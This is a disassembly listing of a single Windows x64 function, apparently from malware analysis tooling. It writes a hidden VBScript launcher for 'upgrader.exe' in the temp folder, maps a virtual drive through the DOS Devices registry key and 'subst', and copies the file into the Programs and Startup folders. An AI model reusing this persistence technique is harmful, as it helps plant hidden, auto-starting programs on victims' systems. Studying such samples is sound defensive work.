Function at 0x140008f1c
Capabilities:
Check if file exists
Copy file
Get common file path
Move file
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rax - 0x8f8]
sub rsp, 0x9d0
mov qword [rbp + 0x270], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
call fcn.1400086e0
lea rcx, [rbp - 0x30]
call fcn.140008dd0
nop
call fcn.1400086e0
lea rdx, [rbp + 0x4b0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor r13d, r13d
test eax, eax
jne 0x140008fa8
lea rdx, [0x14004a630]
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
lea ebx, [r13 + 8]
cmp qword [rbp - 0x18], rbx
jb 0x140009da9
mov rcx, qword [rbp - 0x30]
call fcn.140021180
jmp 0x140009da9
call fcn.1400086e0
lea r8, [0x14004a668]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x48]
call fcn.14000ef04
mov ebx, 8
cmp qword [rax + 0x18], rbx
jb 0x140008fcf
mov rax, qword [rax]
mov r8, rax
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
test rax, rax
sete dil
cmp qword [rbp + 0x60], rbx
jb 0x140008ffc
mov rcx, qword [rbp + 0x48]
call fcn.140021180
test dil, dil
je 0x140009022
lea rdx, [0x14004a678]
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
jmp 0x140008f90
call fcn.1400086e0
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rsp + 0x58]
call fcn.14000b598
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0xc0]
call fcn.14000b6e8
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd0], 6
je 0x140009126
lea rdx, str.Failed_to_open_file:
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
lea rdx, [rbp + 0x2a0]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
lea rax, [rbp + 0x168]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rcx, [rbp + 0xc8]
call fcn.14000b884
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14003b4a8
nop
cmp qword [rsp + 0x70], rbx
jb 0x14000910c
mov rcx, qword [rsp + 0x58]
call fcn.140021180
mov edi, 7
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r13
mov word [rsp + 0x58], r13w
jmp 0x140008f90
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0xc0]
call fcn.14000efd0
lea rcx, [rbp + 0xc8]
call fcn.14000de1c
test rax, rax
jne 0x140009175
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rcx, [rbp + rcx + 0xc0]
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], r13
cmove edx, eax
xor r8d, r8d
call fcn.140002ce4
lea rdx, [0x14004a6a8]
lea rcx, [rsp + 0x30]
call fcn.14000b598
nop
lea r8, [0x14004a7a8]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x80]
call fcn.14000ef04
nop
lea rax, [rbp + 0x6c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1400092b0
lea rdx, str.Failed_to_get_AppData_path.
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
cmp qword [rbp - 0x68], rbx
jb 0x1400091ed
mov rcx, qword [rbp - 0x80]
call fcn.140021180
mov edi, 7
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rsp + 0x48], rbx
jb 0x140009210
mov rcx, qword [rsp + 0x30]
call fcn.140021180
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r13
mov word [rsp + 0x30], r13w
lea rax, [rbp + 0x168]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rcx, [rbp + 0xc8]
call fcn.14000b884
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14003b4a8
nop
cmp qword [rsp + 0x70], rbx
jb 0x14000929b
mov rcx, qword [rsp + 0x58]
call fcn.140021180
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r13
mov word [rsp + 0x58], r13w
jmp 0x140008f90
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x220]
call fcn.14000b598
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000ec9c
nop
cmp qword [rbp + 0x238], rbx
jb 0x1400092ed
mov rcx, qword [rbp + 0x220]
call fcn.140021180
mov edi, 7
mov qword [rbp + 0x238], rdi
mov qword [rbp + 0x230], r13
mov word [rbp + 0x220], r13w
lea r8, [0x14004a57c]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x48]
call fcn.14000ef04
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f1ec
cmp qword [rax + 0x18], rbx
jb 0x140009337
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov esi, eax
cmp qword [rbp + 0x38], rbx
jb 0x140009351
mov rcx, qword [rbp + 0x20]
call fcn.140021180
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x30], r13
mov word [rbp + 0x20], r13w
cmp qword [rbp + 0x60], rbx
jb 0x14000936d
mov rcx, qword [rbp + 0x48]
call fcn.140021180
test esi, esi
je 0x14000947a
lea rdx, str.File_already_exists_on_new_disk.
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
cmp qword [rbp - 0x40], rbx
jb 0x1400093a0
mov rcx, qword [rbp - 0x58]
call fcn.140021180
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
cmp qword [rbp - 0x68], rbx
jb 0x1400093bc
mov rcx, qword [rbp - 0x80]
call fcn.140021180
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rsp + 0x48], rbx
jb 0x1400093da
mov rcx, qword [rsp + 0x30]
call fcn.140021180
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r13
mov word [rsp + 0x30], r13w
lea rax, [rbp + 0x168]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rcx, [rbp + 0xc8]
call fcn.14000b884
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14003b4a8
nop
cmp qword [rsp + 0x70], rbx
jb 0x140009465
mov rcx, qword [rsp + 0x58]
call fcn.140021180
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r13
mov word [rsp + 0x58], r13w
jmp 0x140008f90
lea r8, [0x14004a888]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x48]
call fcn.14000ef04
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f1ec
cmp qword [rax + 0x18], rbx
jb 0x1400094a8
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov esi, eax
cmp qword [rbp + 0x38], rbx
jb 0x1400094c2
mov rcx, qword [rbp + 0x20]
call fcn.140021180
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x30], r13
mov word [rbp + 0x20], r13w
cmp qword [rbp + 0x60], rbx
jb 0x1400094de
mov rcx, qword [rbp + 0x48]
call fcn.140021180
test esi, esi
je 0x1400095eb
lea rdx, str.File_already_exists_in_startup.
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
cmp qword [rbp - 0x40], rbx
jb 0x140009511
mov rcx, qword [rbp - 0x58]
call fcn.140021180
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
cmp qword [rbp - 0x68], rbx
jb 0x14000952d
mov rcx, qword [rbp - 0x80]
call fcn.140021180
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rsp + 0x48], rbx
jb 0x14000954b
mov rcx, qword [rsp + 0x30]
call fcn.140021180
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r13
mov word [rsp + 0x30], r13w
lea rax, [rbp + 0x168]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rcx, [rbp + 0xc8]
call fcn.14000b884
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14003b4a8
nop
cmp qword [rsp + 0x70], rbx
jb 0x1400095d6
mov rcx, qword [rsp + 0x58]
call fcn.140021180
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r13
mov word [rsp + 0x58], r13w
jmp 0x140008f90
lea r8, [rbp - 0x58]
lea rdx, [0x14004a8e0]
lea rcx, [rbp - 8]
call fcn.14000f228
nop
lea rax, [rbp + 0x900]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140009752
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
cmp qword [rbp + 0x10], rbx
jb 0x14000965c
mov rcx, qword [rbp - 8]
call fcn.140021180
mov qword [rbp + 0x10], rdi
mov qword [rbp + 8], r13
mov word [rbp - 8], r13w
cmp qword [rbp - 0x40], rbx
jb 0x140009678
mov rcx, qword [rbp - 0x58]
call fcn.140021180
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
cmp qword [rbp - 0x68], rbx
jb 0x140009694
mov rcx, qword [rbp - 0x80]
call fcn.140021180
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rsp + 0x48], rbx
jb 0x1400096b2
mov rcx, qword [rsp + 0x30]
call fcn.140021180
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r13
mov word [rsp + 0x30], r13w
lea rax, [rbp + 0x168]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rcx, [rbp + 0xc8]
call fcn.14000b884
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14003b4a8
nop
cmp qword [rsp + 0x70], rbx
jb 0x14000973d
mov rcx, qword [rsp + 0x58]
call fcn.140021180
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r13
mov word [rsp + 0x58], r13w
jmp 0x140008f90
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], rbx
cmovae rcx, qword [rbp - 8]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], rbx
cmovae rdx, qword [rsp + 0x30]
mov eax, dword [rbp + 8]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x900]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x900]
test eax, eax
je 0x1400098cb
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Failed_to_set_registry_value.
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
cmp qword [rbp + 0x10], rbx
jb 0x1400097d5
mov rcx, qword [rbp - 8]
call fcn.140021180
mov qword [rbp + 0x10], rdi
mov qword [rbp + 8], r13
mov word [rbp - 8], r13w
cmp qword [rbp - 0x40], rbx
jb 0x1400097f1
mov rcx, qword [rbp - 0x58]
call fcn.140021180
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
cmp qword [rbp - 0x68], rbx
jb 0x14000980d
mov rcx, qword [rbp - 0x80]
call fcn.140021180
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rsp + 0x48], rbx
jb 0x14000982b
mov rcx, qword [rsp + 0x30]
call fcn.140021180
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r13
mov word [rsp + 0x30], r13w
lea rax, [rbp + 0x168]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rcx, [rbp + 0xc8]
call fcn.14000b884
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14003b4a8
nop
cmp qword [rsp + 0x70], rbx
jb 0x1400098b6
mov rcx, qword [rsp + 0x58]
call fcn.140021180
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r13
mov word [rsp + 0x58], r13w
jmp 0x140008f90
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1400086e0
lea r8, [rsp + 0x30]
lea rdx, str.subst
lea rcx, [rbp + 0x1f8]
call fcn.14000f228
nop
lea r8, [0x14004a9ec]
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.14000ec9c
nop
lea r8, [rbp - 0x58]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f1ec
nop
lea r8, [0x14004a58c]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.14000ec9c
nop
cmp qword [rbp + 0x38], rbx
jb 0x14000993d
mov rcx, qword [rbp + 0x20]
call fcn.140021180
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x30], r13
mov word [rbp + 0x20], r13w
cmp qword [rbp + 0x260], rbx
jb 0x14000995f
mov rcx, qword [rbp + 0x248]
call fcn.140021180
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x258], r13
mov word [rbp + 0x248], r13w
cmp qword [rbp + 0x210], rbx
jb 0x14000998a
mov rcx, qword [rbp + 0x1f8]
call fcn.140021180
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x208], r13
mov word [rbp + 0x1f8], r13w
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], rbx
cmovae rcx, qword [rbp + 0x98]
call fcn.140023e68
lea r8, [0x14004a59c]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x48]
call fcn.14000ef04
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000f1ec
cmp qword [rax + 0x18], rbx
jb 0x1400099e9
mov rax, qword [rax]
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
sete sil
cmp qword [rbp + 0x88], rbx
jb 0x140009a14
mov rcx, qword [rbp + 0x70]
call fcn.140021180
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x80], r13
mov word [rbp + 0x70], r13w
cmp qword [rbp + 0x60], rbx
jb 0x140009a36
mov rcx, qword [rbp + 0x48]
call fcn.140021180
test sil, sil
je 0x140009b8b
lea rdx, str.Failed_to_copy_file_to_programs_directory.
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
cmp qword [rbp + 0xb0], rbx
jb 0x140009a70
mov rcx, qword [rbp + 0x98]
call fcn.140021180
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xa8], r13
mov word [rbp + 0x98], r13w
cmp qword [rbp + 0x10], rbx
jb 0x140009a95
mov rcx, qword [rbp - 8]
call fcn.140021180
mov qword [rbp + 0x10], rdi
mov qword [rbp + 8], r13
mov word [rbp - 8], r13w
cmp qword [rbp - 0x40], rbx
jb 0x140009ab1
mov rcx, qword [rbp - 0x58]
call fcn.140021180
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x48], r13
mov word [rbp - 0x58], r13w
cmp qword [rbp - 0x68], rbx
jb 0x140009acd
mov rcx, qword [rbp - 0x80]
call fcn.140021180
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], r13
mov word [rbp - 0x80], r13w
cmp qword [rsp + 0x48], rbx
jb 0x140009aeb
mov rcx, qword [rsp + 0x30]
call fcn.140021180
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r13
mov word [rsp + 0x30], r13w
lea rax, [rbp + 0x168]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rcx, [rbp + 0xc8]
call fcn.14000b884
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xc0], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x168]
call fcn.14003b4a8
nop
cmp qword [rsp + 0x70], rbx
jb 0x140009b76
mov rcx, qword [rsp + 0x58]
call fcn.140021180
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r13
mov word [rsp + 0x58], r13w
jmp 0x140008f90
lea r8, str.Startup_
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x278]
call fcn.14000ef04
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000f1ec
mov r12, rax
lea r8, [0x14004a5ec]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1d0]
call fcn.14000ef04
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000f1ec
mov rsi, rax
cmp qword [r12 + 0x18], rbx
jb 0x140009bee
mov r12, qword [r12]
cmp qword [rax + 0x18], rbx
jb 0x140009bf7
mov rsi, qword [rax]
call fcn.1400086e0
mov r8d, 4
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
sete sil
cmp qword [rbp + 0x88], rbx
jb 0x140009c26
mov rcx, qword [rbp + 0x70]
call fcn.140021180
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x80], r13
mov word [rbp + 0x70], r13w
cmp qword [rbp + 0x1e8], rbx
jb 0x140009c4e
mov rcx, qword [rbp + 0x1d0]
call fcn.140021180
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1e0], r13
mov word [rbp + 0x1d0], r13w
cmp qword [rbp + 0x60], rbx
jb 0x140009c73
mov rcx, qword [rbp + 0x48]
call fcn.140021180
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x58], r13
mov word [rbp + 0x48], r13w
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x278]
call fcn.14000253c
test sil, sil
je 0x140009d24
lea rdx, str.Failed_to_move_file_to_startup_directory.
lea rcx, [0x140057b50]
call fcn.14000eccc
mov rcx, rax
call fcn.14000858c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x98]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 8]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x58]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x80]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x30]
call fcn.14000253c
nop
lea rcx, [rbp + 0xc0]
call fcn.140009dc0
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x58]
call fcn.14000253c
nop
jmp 0x140009d9b
call fcn.140008c7c
call fcn.1400086e0
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x98]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 8]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x58]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x80]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x30]
call fcn.14000253c
nop
lea rcx, [rbp + 0xc0]
call fcn.140009dc0
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x58]
call fcn.14000253c
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x30]
call fcn.14000253c
mov rbx, qword [rsp + 0xa10]
add rsp, 0x9d0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret